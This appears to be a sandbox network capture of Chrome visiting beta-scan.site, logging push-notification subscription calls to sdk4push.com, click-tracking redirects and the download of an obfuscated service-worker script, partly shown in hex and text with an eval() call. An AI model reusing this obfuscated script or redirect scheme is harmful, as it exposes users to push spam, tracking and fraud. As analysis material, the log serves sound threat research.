2024-10-03 15:19:12 UTC	532	OUT	OPTIONS /s?z=1211351 HTTP/1.1 Host: sdk4push.com Connection: keep-alive Cache-Control: max-age=0 Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type Origin: https://beta-scan.site User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://beta-scan.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:12 UTC	750	IN	HTTP/1.1 204 No Content Server: Angie Date: Thu, 03 Oct 2024 15:19:12 GMT Connection: close Access-Control-Allow-Origin: https://beta-scan.site Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, Authorization, X-CSRF-Token Access-Control-Expose-Headers: Authorization Cache-Control: no-cache, max-age=0, must-revalidate, proxy-revalidate, no-store Pragma: no-cache Expires: Tue, 11 Jan 1994 00:00:00 GMT Accept-Ch: Sec-CH-UA, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Model, Sec-CH-UA-Bitness, Sec-CH-UA-Wow64

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.17	55848	139.45.197.251	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:12 UTC	341	OUT	GET /event HTTP/1.1 Host: redrotou.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:12 UTC	531	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 15:19:12 GMT Content-Type: application/json; charset=utf-8 Content-Length: 58 Connection: close Accept-Ch: Sec-CH-UA, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Origin, X-Requested-With, X-Oaid, Content-Type, Accept Strict-Transport-Security: max-age=1 X-Content-Type-Options: nosniff
2024-10-03 15:19:12 UTC	58	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 66 61 6c 73 65 2c 22 63 6f 64 65 22 3a 22 65 72 72 6f 72 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 77 72 6f 6e 67 20 72 65 71 75 65 73 74 22 7d 0a Data Ascii: {"status":false,"code":"error","message":"wrong request"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.17	55851	157.90.33.121	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:13 UTC	499	OUT	POST /s?z=1211351 HTTP/1.1 Host: sdk4push.com Connection: keep-alive Content-Length: 920 Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Origin: https://beta-scan.site Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://beta-scan.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:13 UTC	920	OUT	Data Raw: 7b 22 73 77 5f 76 65 72 73 69 6f 6e 22 3a 22 76 31 34 22 2c 22 7a 6f 6e 65 5f 69 64 22 3a 31 32 31 31 33 35 31 2c 22 73 77 5f 64 6f 6d 61 69 6e 22 3a 22 62 65 74 61 2d 73 63 61 6e 2e 73 69 74 65 22 2c 22 75 73 65 72 5f 69 64 22 3a 22 7a 37 59 49 4a 6d 41 35 56 37 39 54 34 71 47 65 4d 63 50 58 73 46 22 2c 22 73 75 62 73 63 72 69 70 74 69 6f 6e 22 3a 7b 22 65 6e 64 70 6f 69 6e 74 22 3a 22 68 74 74 70 73 3a 2f 2f 66 63 6d 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 66 63 6d 2f 73 65 6e 64 2f 63 65 48 72 6f 6e 6b 57 4a 4f 55 3a 41 50 41 39 31 62 47 2d 66 75 59 66 53 31 53 52 48 78 44 51 66 61 51 34 72 77 4b 72 4b 70 66 6e 31 34 4c 4d 74 78 31 67 35 4d 6d 46 76 6a 70 39 4a 62 56 41 5f 5a 37 57 52 57 73 32 76 30 6d 54 32 67 76 30 4c 56 36 71 7a 32 44 79 65 Data Ascii: {"sw_version":"v14","zone_id":1211351,"sw_domain":"beta-scan.site","user_id":"z7YIJmA5V79T4qGeMcPXsF","subscription":{"endpoint":"https://fcm.googleapis.com/fcm/send/ceHronkWJOU:APA91bG-fuYfS1SRHxDQfaQ4rwKrKpfn14LMtx1g5MmFvjp9JbVA_Z7WRWs2v0mT2gv0LV6qz2Dye
2024-10-03 15:19:14 UTC	809	IN	HTTP/1.1 200 OK Server: Angie Date: Thu, 03 Oct 2024 15:19:13 GMT Content-Type: application/json; charset=utf-8 Content-Length: 50 Connection: close Access-Control-Allow-Origin: https://beta-scan.site Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, Authorization, X-CSRF-Token Access-Control-Expose-Headers: Authorization Cache-Control: no-cache, max-age=0, must-revalidate, proxy-revalidate, no-store Pragma: no-cache Expires: Tue, 11 Jan 1994 00:00:00 GMT Accept-Ch: Sec-CH-UA, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Model, Sec-CH-UA-Bitness, Sec-CH-UA-Wow64
2024-10-03 15:19:14 UTC	50	IN	Data Raw: 7b 22 69 73 5f 6e 65 77 22 3a 74 72 75 65 2c 22 75 73 65 72 5f 69 64 22 3a 22 7a 37 59 49 4a 6d 41 35 56 37 39 54 34 71 47 65 4d 63 50 58 73 46 22 7d Data Ascii: {"is_new":true,"user_id":"z7YIJmA5V79T4qGeMcPXsF"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.17	55850	18.139.38.244	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:13 UTC	742	OUT	GET /t/clk?id=ovKROc8M1xSkmE0uk6lXDT4&s1=f67ece2371nwj2e8&s2=11 HTTP/1.1 Host: avkk.newplanexcel.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://beta-scan.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.17	55843	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:14 UTC	956	OUT	GET /c1d5l2k.php?lp=1&uclick=e2371nwj HTTP/1.1 Host: beta-scan.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
2024-10-03 15:19:14 UTC	313	IN	HTTP/1.1 302 Found Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:19:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Location: https://avkk.newplanexcel.com/t/clk?id=ovKROc8M1xSkmE0uk6lXDT4&s1=f67ece2371nwj2e8&s2=11 Strict-Transport-Security: max-age=31536000
2024-10-03 15:19:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.17	55855	157.90.33.121	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:14 UTC	618	OUT	POST /event?z=1211351 HTTP/1.1 Host: sdk4push.com Connection: keep-alive Content-Length: 531 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://beta-scan.site Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://beta-scan.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:14 UTC	531	OUT	Data Raw: 7b 22 65 76 65 6e 74 22 3a 22 73 75 62 73 63 72 69 70 74 69 6f 6e 5f 67 72 61 6e 74 65 64 22 2c 22 7a 6f 6e 65 5f 69 64 22 3a 31 32 31 31 33 35 31 2c 22 73 75 62 69 64 31 22 3a 22 22 2c 22 73 75 62 69 64 32 22 3a 22 22 2c 22 65 78 74 5f 63 6c 69 63 6b 5f 69 64 22 3a 6e 75 6c 6c 2c 22 63 6c 69 65 6e 74 5f 68 69 6e 74 73 22 3a 7b 22 61 72 63 68 69 74 65 63 74 75 72 65 22 3a 22 78 38 36 22 2c 22 62 69 74 6e 65 73 73 22 3a 22 36 34 22 2c 22 62 72 61 6e 64 73 22 3a 5b 7b 22 62 72 61 6e 64 22 3a 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 31 31 37 22 7d 2c 7b 22 62 72 61 6e 64 22 3a 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 38 22 7d 2c 7b 22 62 72 61 6e 64 22 3a 22 43 68 72 6f 6d 69 75 6d 22 Data Ascii: {"event":"subscription_granted","zone_id":1211351,"subid1":"","subid2":"","ext_click_id":null,"client_hints":{"architecture":"x86","bitness":"64","brands":[{"brand":"Google Chrome","version":"117"},{"brand":"Not;A=Brand","version":"8"},{"brand":"Chromium"
2024-10-03 15:19:15 UTC	761	IN	HTTP/1.1 200 OK Server: Angie Date: Thu, 03 Oct 2024 15:19:15 GMT Content-Length: 0 Connection: close Access-Control-Allow-Origin: https://beta-scan.site Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, Authorization, X-CSRF-Token Access-Control-Expose-Headers: Authorization Cache-Control: no-cache, max-age=0, must-revalidate, proxy-revalidate, no-store Pragma: no-cache Expires: Tue, 11 Jan 1994 00:00:00 GMT Accept-Ch: Sec-CH-UA, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Model, Sec-CH-UA-Bitness, Sec-CH-UA-Wow64

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.17	55856	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:15 UTC	684	OUT	GET /1211351.sw.js HTTP/1.1 Host: beta-scan.site Connection: keep-alive Cache-Control: max-age=0 Accept: / Service-Worker: script Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: serviceworker Referer: https://beta-scan.site/1211351.sw.js User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en If-None-Match: "66d31066-70" If-Modified-Since: Sat, 31 Aug 2024 12:45:26 GMT
2024-10-03 15:19:15 UTC	219	IN	HTTP/1.1 304 Not Modified Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:19:15 GMT Last-Modified: Sat, 31 Aug 2024 12:45:26 GMT Connection: close ETag: "66d31066-70" Strict-Transport-Security: max-age=31536000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.17	55857	18.139.38.244	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:15 UTC	742	OUT	GET /t/clk?id=ovKROc8M1xSkmE0uk6lXDT4&s1=f67ece2371nwj2e8&s2=11 HTTP/1.1 Host: avkk.newplanexcel.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://beta-scan.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:16 UTC	1172	IN	HTTP/1.1 302 Found Date: Thu, 03 Oct 2024 15:19:16 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Set-Cookie: AWSALB=3khX0y51rfhlTotRwgQOA4n5//kxR1xfkDCYgFhD3C8gXaTSyXtyzcYh703XbI34LRNhclEl7S6joICLC1kS5R25XJUyG+1x5uHM4/s866fx98PJJOGyNsE+Nzb/; Expires=Thu, 10 Oct 2024 15:19:15 GMT; Path=/ Set-Cookie: AWSALBCORS=3khX0y51rfhlTotRwgQOA4n5//kxR1xfkDCYgFhD3C8gXaTSyXtyzcYh703XbI34LRNhclEl7S6joICLC1kS5R25XJUyG+1x5uHM4/s866fx98PJJOGyNsE+Nzb/; Expires=Thu, 10 Oct 2024 15:19:15 GMT; Path=/; SameSite=None; Secure Server: nginx/1.14.2 Location: https://www.jdoqocy.com/click-101155411-15590427?sid=9853f0ab-6eb4-4a6c-9633-4f18a27cc5ff Cache-Control: no-transform X-Frame-Options: SAMEORIGIN Vary: Accept-Language, Cookie, Origin Content-Language: en Set-Cookie: uip="[\"KmtPCTVZ3T\"\054 {\"onlm9B\": \"0A63gw8\"}]:1swNbn:TLbvDq3GZUIcG9E1KwDBcExgZZ8"; expires=Sat, 02 Nov 2024 15:19:15 GMT; Max-Age=2592000; Path=/ Set-Cookie: ydt_89d1392973ad4570a8eb9e51cbfc5910="[\"9853f0ab-6eb4-4a6c-9633-4f18a27cc5ff\"]:1swNbo:KvVIln1qNAe2Okj4o04tPWKRmXA"; expires=Sat, 02 Nov 2024 17:19:16 GMT; Max-Age=2599200; Path=/; SameSite=None; Secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.17	55859	157.90.33.121	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:16 UTC	400	OUT	GET /f/sw.js HTTP/1.1 Host: sdk4push.com Connection: keep-alive Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://beta-scan.site/1211351.sw.js User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:16 UTC	237	IN	HTTP/1.1 200 OK Server: Angie Date: Thu, 03 Oct 2024 15:19:16 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 78443 Connection: close Cache-Control: no-cache, max-age=0, must-revalidate, proxy-revalidate
2024-10-03 15:19:16 UTC	16147	IN	Data Raw: 76 61 72 20 61 33 5f 30 78 35 32 35 37 3d 5b 22 42 77 76 5a 43 32 66 4e 7a 71 3d 3d 22 2c 22 77 33 6a 48 78 73 62 4d 7a 78 72 4a 41 63 62 4c 43 4e 6a 56 43 4a 4f 47 44 33 6a 56 42 4d 43 47 43 33 72 48 44 68 76 5a 69 67 6e 56 7a 67 75 3d 22 2c 22 72 32 76 55 7a 78 6a 48 44 67 39 59 69 67 4c 5a 69 67 66 53 43 4d 76 48 7a 68 4b 47 7a 78 48 4c 79 33 76 30 41 77 35 4e 6c 47 3d 3d 22 2c 22 79 32 39 55 43 33 72 59 44 77 6e 30 42 33 69 3d 22 2c 22 71 32 39 55 44 67 76 55 44 63 31 75 45 78 62 4c 22 2c 22 77 33 6e 33 78 73 62 4d 42 33 6a 4a 7a 73 62 31 42 4e 6e 31 79 4e 6e 4a 43 4d 4c 49 41 77 35 4e 22 2c 22 7a 78 6a 59 42 33 6a 64 42 32 72 4c 22 2c 22 79 77 6e 30 41 78 7a 48 44 67 75 3d 22 2c 22 75 4d 76 57 42 67 66 4a 7a 71 3d 3d 22 2c 22 43 32 76 55 7a 66 62 31 Data Ascii: var a3_0x5257=["BwvZC2fNzq==","w3jHxsbMzxrJAcbLCNjVCJOGD3jVBMCGC3rHDhvZignVzgu=","r2vUzxjHDg9YigLZigfSCMvHzhKGzxHLy3v0Aw5NlG==","y29UC3rYDwn0B3i=","q29UDgvUDc1uExbL","w3n3xsbMB3jJzsb1BNn1yNnJCMLIAw5N","zxjYB3jdB2rL","ywn0AxzHDgu=","uMvWBgfJzq==","C2vUzfb1
2024-10-03 15:19:16 UTC	16384	IN	Data Raw: 65 77 20 74 28 28 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 28 6e 29 7d 29 29 7d 72 65 74 75 72 6e 20 6e 65 77 28 74 7c 7c 28 74 3d 50 72 6f 6d 69 73 65 29 29 28 28 66 75 6e 63 74 69 6f 6e 28 74 2c 69 29 7b 76 61 72 20 61 3d 61 33 5f 30 78 31 37 36 30 3b 66 75 6e 63 74 69 6f 6e 20 63 28 6e 29 7b 76 61 72 20 72 3d 61 33 5f 30 78 31 37 36 30 3b 74 72 79 7b 6f 28 78 5b 72 28 22 30 78 31 33 62 22 29 5d 28 6e 29 29 7d 63 61 74 63 68 28 6e 29 7b 69 28 6e 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 75 28 6e 29 7b 76 61 72 20 72 3d 61 33 5f 30 78 31 37 36 30 3b 74 72 79 7b 6f 28 78 5b 72 28 22 30 78 62 61 22 29 5d 28 6e 29 29 7d 63 61 74 63 68 28 6e 29 7b 69 28 6e 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 76 61 72 20 72 3d 61 33 5f 30 78 31 37 36 30 3b 6e 5b 72 28 Data Ascii: ew t((function(r){r(n)}))}return new(t\|\|(t=Promise))((function(t,i){var a=a3_0x1760;function c(n){var r=a3_0x1760;try{o(x[r("0x13b")](n))}catch(n){i(n)}}function u(n){var r=a3_0x1760;try{o(x[r("0xba")](n))}catch(n){i(n)}}function o(n){var r=a3_0x1760;n[r(
2024-10-03 15:19:16 UTC	16384	IN	Data Raw: 22 29 5d 3d 72 5b 74 28 22 30 78 31 31 34 22 29 5d 3d 72 5b 22 69 64 62 22 5d 3d 76 6f 69 64 20 30 3b 66 75 6e 63 74 69 6f 6e 20 61 28 6e 29 7b 76 61 72 20 72 3d 74 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 28 66 75 6e 63 74 69 6f 6e 28 72 2c 74 29 7b 76 61 72 20 78 3d 61 33 5f 30 78 31 37 36 30 2c 65 3d 73 65 6c 66 5b 78 28 22 30 78 65 34 22 29 5d 5b 78 28 22 30 78 37 36 22 29 5d 28 6e 5b 22 73 74 6f 72 65 4e 61 6d 65 22 5d 2c 6e 5b 22 76 65 72 73 69 6f 6e 22 5d 29 3b 65 5b 78 28 22 30 78 31 31 35 22 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 76 61 72 20 74 3d 78 2c 65 3d 72 5b 22 74 61 72 67 65 74 22 5d 5b 74 28 22 30 78 65 63 22 29 5d 2c 69 3d 6e 5b 74 28 22 30 78 34 38 22 29 5d 7c 30 3b 73 77 69 74 63 68 28 69 29 7b 63 61 73 65 20 Data Ascii: ")]=r[t("0x114")]=r["idb"]=void 0;function a(n){var r=t;return new Promise((function(r,t){var x=a3_0x1760,e=self[x("0xe4")][x("0x76")](n["storeName"],n["version"]);e[x("0x115")]=function(r){var t=x,e=r["target"][t("0xec")],i=n[t("0x48")]\|0;switch(i){case
2024-10-03 15:19:16 UTC	16384	IN	Data Raw: 30 78 32 33 22 29 5d 5b 79 28 22 30 78 64 31 22 29 5d 28 29 5d 3b 63 61 73 65 20 32 3a 72 5b 79 28 22 30 78 65 31 22 29 5d 3d 6c 5b 79 28 22 30 78 31 33 61 22 29 5d 28 29 2c 6c 5b 22 6c 61 62 65 6c 22 5d 3d 33 3b 63 61 73 65 20 33 3a 72 65 74 75 72 6e 5b 34 2c 28 30 2c 66 5b 79 28 22 30 78 63 31 22 29 5d 29 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 28 62 2c 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 28 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 72 29 7b 76 61 72 20 74 3d 61 33 5f 30 78 31 37 36 30 3b 72 65 74 75 72 6e 5b 32 2c 28 30 2c 6f 5b 74 28 22 30 78 31 31 39 22 29 5d 29 28 74 68 69 73 5b 74 28 22 30 78 63 34 22 29 5d 5b 22 67 65 74 5f 70 75 73 68 5f 75 72 6c 22 5d 2c Data Ascii: 0x23")][y("0xd1")]()];case 2:r[y("0xe1")]=l[y("0x13a")](),l["label"]=3;case 3:return[4,(0,f[y("0xc1")])((function(){return e(b,void 0,void 0,(function(){return i(this,(function(r){var t=a3_0x1760;return[2,(0,o[t("0x119")])(this[t("0xc4")]["get_push_url"],
2024-10-03 15:19:16 UTC	13144	IN	Data Raw: 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 5f 30 78 33 39 35 32 32 37 2c 5f 30 78 33 63 66 63 37 30 3b 72 65 74 75 72 6e 20 5f 30 78 32 66 39 62 37 34 28 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 66 30 64 35 38 29 7b 76 61 72 20 5f 30 78 32 31 36 63 39 38 3d 61 33 5f 30 78 31 37 36 30 3b 73 77 69 74 63 68 28 5f 30 78 32 66 30 64 35 38 5b 5f 30 78 32 31 36 63 39 38 28 22 30 78 36 30 22 29 5d 29 7b 63 61 73 65 20 30 3a 69 66 28 21 28 5f 30 78 35 37 35 39 34 66 21 3d 3d 75 6e 64 65 66 69 6e 65 64 29 29 72 65 74 75 72 6e 5b 33 2c 32 5d 3b 5f 30 78 33 39 35 32 32 37 3d 65 76 61 6c 28 5f 30 78 35 37 35 39 34 66 29 2c 5f 30 78 33 63 66 63 37 30 3d 5f 30 78 34 38 39 34 64 36 5b 22 50 75 73 68 53 74 6f 72 65 22 5d 5b 5f 30 78 32 31 36 63 39 Data Ascii: ,(function(){var _0x395227,_0x3cfc70;return _0x2f9b74(this,(function(_0x2f0d58){var _0x216c98=a3_0x1760;switch(_0x2f0d58[_0x216c98("0x60")]){case 0:if(!(_0x57594f!==undefined))return[3,2];_0x395227=eval(_0x57594f),_0x3cfc70=_0x4894d6["PushStore"][_0x216c9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.17	55864	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:19 UTC	956	OUT	GET /c1d5l2k.php?lp=1&uclick=e2371nwj HTTP/1.1 Host: beta-scan.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
2024-10-03 15:19:19 UTC	313	IN	HTTP/1.1 302 Found Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:19:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Location: https://avkk.newplanexcel.com/t/clk?id=ovKROc8M1xSkmE0uk6lXDT4&s1=f67ece2371nwj2e8&s2=11 Strict-Transport-Security: max-age=31536000
2024-10-03 15:19:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.17	55863	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:19 UTC	684	OUT	GET /1211351.sw.js HTTP/1.1 Host: beta-scan.site Connection: keep-alive Cache-Control: max-age=0 Accept: / Service-Worker: script Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: serviceworker Referer: https://beta-scan.site/1211351.sw.js User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en If-None-Match: "66d31066-70" If-Modified-Since: Sat, 31 Aug 2024 12:45:26 GMT
2024-10-03 15:19:19 UTC	219	IN	HTTP/1.1 304 Not Modified Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:19:19 GMT Last-Modified: Sat, 31 Aug 2024 12:45:26 GMT Connection: close ETag: "66d31066-70" Strict-Transport-Security: max-age=31536000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.17	55865	18.139.38.244	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
